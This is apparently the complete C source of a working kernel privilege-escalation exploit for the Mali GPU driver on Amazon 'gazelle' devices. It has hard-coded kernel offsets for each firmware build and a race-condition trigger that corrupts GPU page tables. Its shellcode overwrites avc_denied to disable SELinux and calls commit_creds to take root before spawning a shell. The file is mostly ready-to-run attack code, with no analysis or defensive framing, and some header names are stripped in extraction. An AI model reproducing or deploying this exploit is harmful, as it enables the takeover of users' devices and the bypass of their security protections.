#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "stdbool.h" #include #include #include #include #include #include #include #include #include #include #include #include "mali.h" #include "mali_base_jm_kernel.h" #include "mempool_utils.h" #include "mem_write.h" #define MALI "/dev/mali0" #define PAGE_SHIFT 12 #define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) #define RESERVED_SIZE 32 #define TOTAL_RESERVED_SIZE 1024 #define PFN_DOWN(x) ((x) >> PAGE_SHIFT) #define UNMAP_CPU 1 //1=A53 core, 4=A73 core #define UPDATE_CPU 0 //0=A53 core, 3=A73 core #define WAIT_CPU 2 //2 #define NB_PREEMPT_THREAD 32 #define NR_WATCHES 100 //100-5000+ increases window size #define NR_EPFDS 500 //500 increases window size #define TEST_ENT 3 #define NSEC_PER_SEC 1000000000UL #define DEFAULT_WAIT 125 #define CORRUPTED_VA_SIZE 500 //500 increases success rate of object replacement #define CORRUPTED_COMMIT_SIZE 10 // PS7299/3052 //offset values from Cube kallsyms, subtract head t _head #define AVC_DENY_7299_3052 0x462498 //avc_denied #define SEL_READ_HANDLE_UNKNOWN_7299_3052 0x471734 #define PREPARE_KERNEL_CRED_7299_3052 0xA4A88 //proxy for init_cred #define COMMIT_CREDS_7299_3052 0xA4600 #define ADD_PREPARE_KERNEL_CRED_7299_3052 0x912a2108 //add x8, x8, #0xA88 #define ADD_COMMIT_7299_3052 0x91180108 //add x8, x8, #0x600 // PS7607/3166 #define AVC_DENY_7607_3166 0x465558 #define SEL_READ_HANDLE_UNKNOWN_7607_3166 0x47482C #define PREPARE_KERNEL_CRED_7607_3166 0xA4E5C #define COMMIT_CREDS_7607_3166 0xA49D4 #define ADD_PREPARE_KERNEL_CRED_7607_3166 0x91397108 //add x8, x8, #0xE5C #define ADD_COMMIT_7607_3166 0x91275108 //add x8, x8, #0x9D4 // PS7613/3675 #define AVC_DENY_7613_3675 0x465558 #define SEL_READ_HANDLE_UNKNOWN_7613_3675 0x47482C #define PREPARE_KERNEL_CRED_7613_3675 0xA4E5C #define COMMIT_CREDS_7613_3675 0xA49D4 #define ADD_PREPARE_KERNEL_CRED_7613_3675 0x91397108 //add x8, x8, #0xE5C #define ADD_COMMIT_7613_3675 0x91275108 //add x8, x8, #0x9D4 // PS7613/3686 #define AVC_DENY_7613_3686 0x465558 #define SEL_READ_HANDLE_UNKNOWN_7613_3686 0x47482C #define PREPARE_KERNEL_CRED_7613_3686 0xA4E5C #define COMMIT_CREDS_7613_3686 0xA49D4 #define ADD_PREPARE_KERNEL_CRED_7613_3686 0x91397108 //add x8, x8, #0xE5C #define ADD_COMMIT_7613_3686 0x91275108 //add x8, x8, #0x9D4 // PS7613/3688 #define AVC_DENY_7613_3688 0x465558 #define SEL_READ_HANDLE_UNKNOWN_7613_3688 0x47482C #define PREPARE_KERNEL_CRED_7613_3688 0xA4E5C #define COMMIT_CREDS_7613_3688 0xA49D4 #define ADD_PREPARE_KERNEL_CRED_7613_3688 0x91397108 //add x8, x8, #0xE5C #define ADD_COMMIT_7613_3688 0x91275108 //add x8, x8, #0x9D4 // PS7613/3701 #define AVC_DENY_7613_3701 0x465558 #define SEL_READ_HANDLE_UNKNOWN_7613_3701 0x47482C #define PREPARE_KERNEL_CRED_7613_3701 0xA4E5C #define COMMIT_CREDS_7613_3701 0xA49D4 #define ADD_PREPARE_KERNEL_CRED_7613_3701 0x91397108 //add x8, x8, #0xE5C #define ADD_COMMIT_7613_3701 0x91275108 //add x8, x8, #0x9D4 // PS7646/3550 #define AVC_DENY_7646_3550 0x464B14 #define SEL_READ_HANDLE_UNKNOWN_7646_3550 0x473DE8 #define PREPARE_KERNEL_CRED_7646_3550 0xA5024 #define COMMIT_CREDS_7646_3550 0xA4B9C #define ADD_PREPARE_KERNEL_CRED_7646_3550 0x91009108 //add x8, x8, #0x024 #define ADD_COMMIT_7646_3550 0x912e7108 //add x8, x8, #0xb9c // PS7646/3562 #define AVC_DENY_7646_3562 0x464B14 #define SEL_READ_HANDLE_UNKNOWN_7646_3562 0x473DE8 #define PREPARE_KERNEL_CRED_7646_3562 0xA5024 #define COMMIT_CREDS_7646_3562 0xA4B9C #define ADD_PREPARE_KERNEL_CRED_7646_3562 0x91009108 //add x8, x8, #0x024 #define ADD_COMMIT_7646_3562 0x912e7108 //add x8, x8, #0xb9c // PS7646/3565 #define AVC_DENY_7646_3565 0x464B14 #define SEL_READ_HANDLE_UNKNOWN_7646_3565 0x473DE8 #define PREPARE_KERNEL_CRED_7646_3565 0xA5024 #define COMMIT_CREDS_7646_3565 0xA4B9C #define ADD_PREPARE_KERNEL_CRED_7646_3565 0x91009108 //add x8, x8, #0x024 #define ADD_COMMIT_7646_3565 0x912e7108 //add x8, x8, #0xb9c // PS7652/3556 #define AVC_DENY_7652_3556 0x464B14 #define SEL_READ_HANDLE_UNKNOWN_7652_3556 0x473DE8 #define PREPARE_KERNEL_CRED_7652_3556 0xA5024 #define COMMIT_CREDS_7652_3556 0xA4B9C #define ADD_PREPARE_KERNEL_CRED_7652_3556 0x91009108 //add x8, x8, #0x024 #define ADD_COMMIT_7652_3556 0x912e7108 //add x8, x8, #0xb9c // PS7652/3564 #define AVC_DENY_7652_3564 0x464B14 #define SEL_READ_HANDLE_UNKNOWN_7652_3564 0x473DE8 #define PREPARE_KERNEL_CRED_7652_3564 0xA5024 #define COMMIT_CREDS_7652_3564 0xA4B9C #define ADD_PREPARE_KERNEL_CRED_7652_3564 0x91009108 //add x8, x8, #0x024 #define ADD_COMMIT_7652_3564 0x912e7108 //add x8, x8, #0xb9c static uint64_t sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7613_3701; static uint64_t avc_deny = AVC_DENY_7613_3701; static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; static uint32_t root_code[11] = {0}; static uint64_t uevent; static uint64_t uevent_gpu = 0; static uint8_t atom_number = 0; static volatile int g_ready_unmap = 0; static struct timespec unmap_time; static struct timespec finished_fault_time; static uint8_t g_initial_read = TEST_ENT; static int need_reset_fd = 0; static volatile bool success = false; static int error_code = 0; static struct timespec finished_reset_time; static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; static uint64_t corrupted_region = 0; static uint64_t benchmark_time = DEFAULT_WAIT; static uint64_t this_benchmark_time = 0; #define OFF 4 #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) void select_offset() { char fingerprint[256]; int len = __system_property_get("ro.build.fingerprint", fingerprint); LOG("fingerprint: %s\n", fingerprint); if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7299.3052N/0024596179968:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7299_3052; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7299_3052; fixup_root_shell(PREPARE_KERNEL_CRED_7299_3052, COMMIT_CREDS_7299_3052, SEL_READ_HANDLE_UNKNOWN_7299_3052, ADD_PREPARE_KERNEL_CRED_7299_3052, ADD_COMMIT_7299_3052, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7607.3166N/0025401515520:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7607_3166; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7607_3166; fixup_root_shell(PREPARE_KERNEL_CRED_7607_3166, COMMIT_CREDS_7607_3166, SEL_READ_HANDLE_UNKNOWN_7607_3166, ADD_PREPARE_KERNEL_CRED_7607_3166, ADD_COMMIT_7607_3166, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7613.3675N/0025401645824:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7613_3675; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7613_3675; fixup_root_shell(PREPARE_KERNEL_CRED_7613_3675, COMMIT_CREDS_7613_3675, SEL_READ_HANDLE_UNKNOWN_7613_3675, ADD_PREPARE_KERNEL_CRED_7613_3675, ADD_COMMIT_7613_3675, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7613.3686N/0025401648640:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7613_3686; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7613_3686; fixup_root_shell(PREPARE_KERNEL_CRED_7613_3686, COMMIT_CREDS_7613_3686, SEL_READ_HANDLE_UNKNOWN_7613_3686, ADD_PREPARE_KERNEL_CRED_7613_3686, ADD_COMMIT_7613_3686, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7613.3688N/0025401649152:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7613_3688; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7613_3688; fixup_root_shell(PREPARE_KERNEL_CRED_7613_3688, COMMIT_CREDS_7613_3688, SEL_READ_HANDLE_UNKNOWN_7613_3688, ADD_PREPARE_KERNEL_CRED_7613_3688, ADD_COMMIT_7613_3688, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7613_3701; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7613_3701; fixup_root_shell(PREPARE_KERNEL_CRED_7613_3701, COMMIT_CREDS_7613_3701, SEL_READ_HANDLE_UNKNOWN_7613_3701, ADD_PREPARE_KERNEL_CRED_7613_3701, ADD_COMMIT_7613_3701, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7646.3550N/0028085968384:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7646_3550; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7646_3550; fixup_root_shell(PREPARE_KERNEL_CRED_7646_3550, COMMIT_CREDS_7646_3550, SEL_READ_HANDLE_UNKNOWN_7646_3550, ADD_PREPARE_KERNEL_CRED_7646_3550, ADD_COMMIT_7646_3550, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7646.3562N/0028085971456:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7646_3562; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7646_3562; fixup_root_shell(PREPARE_KERNEL_CRED_7646_3562, COMMIT_CREDS_7646_3562, SEL_READ_HANDLE_UNKNOWN_7646_3562, ADD_PREPARE_KERNEL_CRED_7646_3562, ADD_COMMIT_7646_3562, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7646.3565N/0028085972224:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7646_3565; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7646_3565; fixup_root_shell(PREPARE_KERNEL_CRED_7646_3565, COMMIT_CREDS_7646_3565, SEL_READ_HANDLE_UNKNOWN_7646_3565, ADD_PREPARE_KERNEL_CRED_7646_3565, ADD_COMMIT_7646_3565, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7652.3556N/0028488623104:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7652_3556; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7652_3556; fixup_root_shell(PREPARE_KERNEL_CRED_7652_3556, COMMIT_CREDS_7652_3556, SEL_READ_HANDLE_UNKNOWN_7652_3556, ADD_PREPARE_KERNEL_CRED_7652_3556, ADD_COMMIT_7652_3556, &(root_code[0])); return; } if (!strcmp(fingerprint, "Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys")) { avc_deny = AVC_DENY_7652_3564; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_7652_3564; fixup_root_shell(PREPARE_KERNEL_CRED_7652_3564, COMMIT_CREDS_7652_3564, SEL_READ_HANDLE_UNKNOWN_7652_3564, ADD_PREPARE_KERNEL_CRED_7652_3564, ADD_COMMIT_7652_3564, &(root_code[0])); return; } err(1, "unable to match build id\n"); } static int io_setup(unsigned nr, aio_context_t *ctxp) { return syscall(__NR_io_setup, nr, ctxp); } static int io_destroy(aio_context_t ctx) { return syscall(__NR_io_destroy, ctx); } void epoll_add(int epfd, int fd) { struct epoll_event ev = { .events = EPOLLIN }; SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev)); } struct timespec get_mono_time(void) { struct timespec ts; SYSCHK(clock_gettime(CLOCK_MONOTONIC, &ts)); return ts; } inline unsigned long timespec_to_ns(struct timespec ts) { return ts.tv_sec * NSEC_PER_SEC + ts.tv_nsec; } void ts_sub(struct timespec *ts, unsigned long nsecs) { if (ts->tv_nsec < nsecs) { ts->tv_sec--; ts->tv_nsec += NSEC_PER_SEC; } ts->tv_nsec -= nsecs; } void ts_add(struct timespec *ts, unsigned long nsecs) { ts->tv_nsec += nsecs; if (ts->tv_nsec >= NSEC_PER_SEC) { ts->tv_sec++; ts->tv_nsec -= NSEC_PER_SEC; } } bool ts_is_in_future(struct timespec ts) { struct timespec cur = get_mono_time(); if (ts.tv_sec > cur.tv_sec) return true; if (ts.tv_sec < cur.tv_sec) return false; return ts.tv_nsec > cur.tv_nsec; } void setup_timerfd() { int tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); int tfd_dups[NR_WATCHES]; for (int i=0; itv_sec < t2->tv_sec) return true; if (t1->tv_sec > t2->tv_sec) return false; return t1->tv_nsec < t2->tv_nsec; } bool before_reset() { return finished_reset_time.tv_sec == 0 || before(&finished_fault_time, &finished_reset_time); } void* unmap_resources(void* args) { uint64_t* arguments = (uint64_t*)args; int mali_fd = (int)(arguments[0]); migrate_to_cpu(UNMAP_CPU); struct kbase_ioctl_mem_free mem_free = {.gpu_addr = (64ul << 12) + 0x1000}; while (!g_ready_unmap); while (ts_is_in_future(unmap_time)); migrate_to_cpu(UNMAP_CPU); g_initial_read = *(volatile uint8_t*)(uevent + OFF); if (g_initial_read != TEST_ENT) return NULL; ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free); finished_fault_time = get_mono_time(); if (!before_reset()) return NULL; // LOG("finished reset time %ld %ld fault time %ld %ld\n", finished_reset_time.tv_sec, finished_reset_time.tv_nsec, finished_fault_time.tv_sec, finished_fault_time.tv_nsec); // unmap_external_resource(mali_fd, uevent); unmap_external_resource(mali_fd, uevent_gpu); corrupted_region = (uint64_t)map_gpu(mali_fd, CORRUPTED_VA_SIZE, CORRUPTED_COMMIT_SIZE, false, 1); void *corrupted_region_user = mmap64(NULL, 0x1000 * CORRUPTED_COMMIT_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, mali_fd, corrupted_region); memset((void*)corrupted_region_user, 0, 0x1000 * CORRUPTED_COMMIT_SIZE); // struct timespec time_now = get_mono_time(); // LOG("finished reset time: %ld %ld, finished map time: %ld %ld\n", finished_reset_time.tv_sec, finished_reset_time.tv_nsec, time_now.tv_sec, time_now.tv_nsec); return NULL; } void check_success() { if (error_code != 0 || g_initial_read != TEST_ENT) return; if (finished_fault_time.tv_sec == 0) return; if (finished_reset_time.tv_sec < finished_fault_time.tv_sec) return; if (finished_reset_time.tv_sec > finished_fault_time.tv_sec) { success = 1; return; } if (finished_reset_time.tv_sec == finished_fault_time.tv_sec) { if (finished_reset_time.tv_nsec > finished_fault_time.tv_nsec + 400000) { //400,000ns minimum window success = 1; return; } } return; } void* softjob_reset(void* arg) { uint64_t* arguments = (uint64_t*)arg; uint64_t benchmark = arguments[1]; struct timespec start_benchmark_time; struct kbase_ioctl_soft_event_update update= {0}; // update.event = benchmark ? 0 : uevent + OFF; update.event = benchmark ? 0 : uevent_gpu + OFF; update.new_status = 0; int tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); int tfd_dups[NR_WATCHES]; for (int i=0; i> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); usleep(100000); //Go through the reserve pages addresses to write to avc_denied with our own shellcode atom_number = write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, atom_number); //Triggers avc_denied to disable SELinux open("/dev/kmsg", O_RDONLY); uint64_t sel_read_handle_unknown_addr = (((sel_read_handle_unknown + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_handle_unknown_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); //Call commit_creds to overwrite process credentials to gain root atom_number = write_func(mali_fd2, sel_read_handle_unknown, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t), RESERVED_SIZE, atom_number); return atom_number; } int find_pgd(uint64_t* gpu_addr, int* index) { int ret = -1; for (int pg = 0; pg < CORRUPTED_COMMIT_SIZE; pg++) { for (int i = 0; i < 0x1000/8; i++) { uint64_t entry = gpu_addr[pg * 0x1000/8 + i]; if ((entry & 0x443) == 0x443) { *index = i; return pg; } } } return ret; } uint64_t benchmark() { uint64_t time = 0; int num_average = 30; uint64_t arguments[2]; int benchmark_fd = open_dev(MALI); setup_mali(benchmark_fd, 0); void* tracking_page2 = setup_tracking_page(benchmark_fd); arguments[0] = benchmark_fd; arguments[1] = 1; for (int i = 0; i < num_average; i++) { softjob_reset(&(arguments[0])); time += this_benchmark_time/100; } printf("benchmark_time %llu\n", time/num_average); close(benchmark_fd); return time/num_average; } int trigger(int mali_fd2) { int mali_fd = open_dev(MALI); setup_mali(mali_fd, 0); void* tracking_page = setup_tracking_page(mali_fd); aio_context_t ctx = 0; uint32_t nr_events = 128; int ret = io_setup(nr_events, &ctx); if (ret < 0) err(1, "io_setup error\n"); char* anon_mapping = (char*)ctx; migrate_to_cpu(WAIT_CPU); *(volatile char *)(anon_mapping + OFF) = TEST_ENT; uint64_t this_addr = (uint64_t)anon_mapping; uint64_t imported_address = mem_import(mali_fd, this_addr); // void *gpu_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, void *gpu_mapping = mmap64(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mali_fd, imported_address); if (gpu_mapping == MAP_FAILED) { err(1, "gpu mapping failed\n"); } // uint64_t jc = map_resource_job(mali_fd, atom_number++, (uint64_t)gpu_mapping); // map_external_resource(mali_fd, (uint64_t)gpu_mapping); uint64_t jc = map_resource_job(mali_fd, atom_number++, (uint64_t)imported_address); map_external_resource(mali_fd, (uint64_t)imported_address); release_resource_job(mali_fd, atom_number++, jc); uevent = (uint64_t)gpu_mapping; uevent_gpu = imported_address; if (io_destroy(ctx) < 0) err(1, "unable to destroy aio ctx\n"); pthread_t thread; uint64_t args[2]; args[0] = mali_fd; args[1] = 0; pthread_create(&thread, NULL, &unmap_resources, (void*)&(args[0])); pthread_t thread1; pthread_create(&thread1, NULL, softjob_reset, (void*)&(args[0])); struct sched_param sched_par = {0}; pthread_join(thread1, NULL); pthread_join(thread, NULL); check_success(); if (success) { LOG("finished reset: %ld fault: %ld %ld err %d read %d\n", finished_reset_time.tv_nsec, finished_fault_time.tv_nsec, finished_fault_time.tv_sec, error_code, g_initial_read); // uint64_t alias_region = access_free_pages(mali_fd, mali_fd2, corrupted_region); uint64_t alias_gpu = 0; uint64_t alias_region = access_free_pages(mali_fd, mali_fd2, corrupted_region, &alias_gpu); int index = 0; int pg = find_pgd((uint64_t*)alias_region, &index); if (pg != -1) { LOG("found pgd at page %d\n", pg); } else { LOG("failed to find pgd, retry\n"); success = 0; need_reset_fd = 1; close(mali_fd); return 0; } // uint64_t pgd = alias_region + pg * 0x1000; uint64_t pgd = alias_gpu + pg * 0x1000; atom_number = write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); run_enforce(); cleanup(mali_fd, pgd, atom_number++); return 1; } close(mali_fd); return 0; } int reset_mali2(int prev) { if (prev != -1) close(prev); int mali_fd2 = open_dev(MALI); setup_mali(mali_fd2, 1); void* tracking_page2 = setup_tracking_page(mali_fd2); // reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); uint64_t drain2 = drain_mem_pool(mali_fd2); release_mem_pool(mali_fd2, drain2); return mali_fd2; } int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); uint64_t counter = 0; select_offset(); int mali_fd2 = reset_mali2(-1); benchmark_time = benchmark(); while (!success) { reset(); int ret = trigger(mali_fd2); counter++; if (counter % 100 == 0) { LOG("failed after %llu\n", counter); } if (counter % 300 == 0) { benchmark_time = benchmark(); } if (!success && need_reset_fd) { mali_fd2 = reset_mali2(mali_fd2); } if (ret == 1) { LOG("success after %llu\n", counter); system("sh"); } } }